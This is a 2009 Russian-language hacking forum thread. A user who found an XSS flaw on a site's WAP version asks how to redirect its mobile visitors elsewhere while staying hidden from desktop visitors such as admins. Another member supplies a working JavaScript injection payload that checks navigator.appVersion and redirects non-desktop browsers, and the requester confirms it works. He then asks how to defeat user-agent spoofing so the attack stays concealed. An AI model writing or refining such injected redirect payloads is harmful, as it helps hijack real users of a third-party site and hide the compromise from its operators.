PDA

Просмотр полной версии : нужен скрипт определения Админа :)


wizard
10.04.2009, 06:55
суть такая - была найденна xss уязвимость на wap версии сайта , спомощью этого хотел переправлять пользователей , <meta http-equiv="refresh" content="0; url=http://сайт.com">
но хочется поступить по умному , апределить ip пользователя, и если он не из списка не производить редирект , благо список диапозонов ip операторв моб связи - невелик. Возможно ли это зделать в приделах html ?

mad_xakep
10.04.2009, 08:30
в html нельзя...

wizard
10.04.2009, 14:35
можт както по другому определить где мобила где комп, желательно не по юзер агенту *(на кройняк и это сайдет). Определили и если моболка - то редирек, если комп то сидим и не отсвечиваем .
может ява ? может что еще ? дайте хоть намек :)

Kaimi
10.04.2009, 15:09
Можешь явой анализировать содержимое navigator.appVersion и по нему редиректить.

wizard
10.04.2009, 15:25
выводит информацию на страницу
<script>

document.write('<h4 align="center">JS (Browser): <span style="color: blue;">'+navigator.appName+'</span></h4>');
document.write('<h4 align="center">JS (Version): <span style="color: #cc0000;">'+navigator.appVersion+'</span></h4>');
</script>
это ридирект

<meta http-equiv="refresh" content="0; url=http://сайт.com">



как все логически обьединить? я не селен в этом .
помогите - с меня пиво на 1-2 у.е. icq 788-039
нужен готовый скрипт.

Kaimi
10.04.2009, 16:04
Ну и попробуй что-нибудь типа

<script>
var string = navigator.appVersion;
if (string.indexOf("Win")==-1 && string.indexOf("Mac")==-1 && string.indexOf("Linux")==-1 && string.indexOf("X11")==-1) window.location = "http://www.google.com/"
</script>

inlanger
10.04.2009, 16:11
А ты уверен что пхп нельзя впихнуть?

mailbrush
10.04.2009, 16:17
Если это ксс, - низя.

wizard
10.04.2009, 16:23
круто ! работает . огромное спасибо . куда пиво отправлять :)

wizard
10.04.2009, 16:55
если в Firefox ставиль юзер агента мобилу то данный скрипт не распознает комп? есть какието пути ришения этой проблемы ?

wizard
10.04.2009, 17:00
точнее скрипт смотрит толко App vercion , что еще можно добавить ? для точного апридиления?

wizard
10.04.2009, 17:22
может по appCodeName?